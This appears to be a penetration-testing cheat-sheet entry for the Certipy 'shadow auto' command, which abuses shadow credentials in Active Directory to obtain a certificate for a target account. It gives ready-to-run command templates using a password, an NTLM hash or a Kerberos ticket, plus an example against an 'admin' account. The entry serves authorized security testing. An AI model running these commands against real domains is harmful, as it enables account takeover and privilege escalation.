Certipy Shadow Credentials

Abuse shadow credentials to obtain a certificate for a target account

Tool
certipy
Category
Credential Attacks / ADCS (Certificate Abuse)
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

certipy shadow auto -u '<user>@<domain>' -p '<password>' -dc-ip <ip> -account '<target_user>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

certipy shadow auto -u '<user>@<domain>' -hashes ':<hash>' -dc-ip <ip> -account '<target_user>'

Kerberos Ticket requires Kerberos ticket

certipy shadow auto -u '<user>@<domain>' -k -no-pass -dc-ip <ip> -account '<target_user>'

Examples

certipy shadow auto -u 'user@corp.local' -p 'password' -dc-ip 192.168.1.100 -account 'admin'

Tags

certipy adcs shadow-credentials msds-keycredentiallink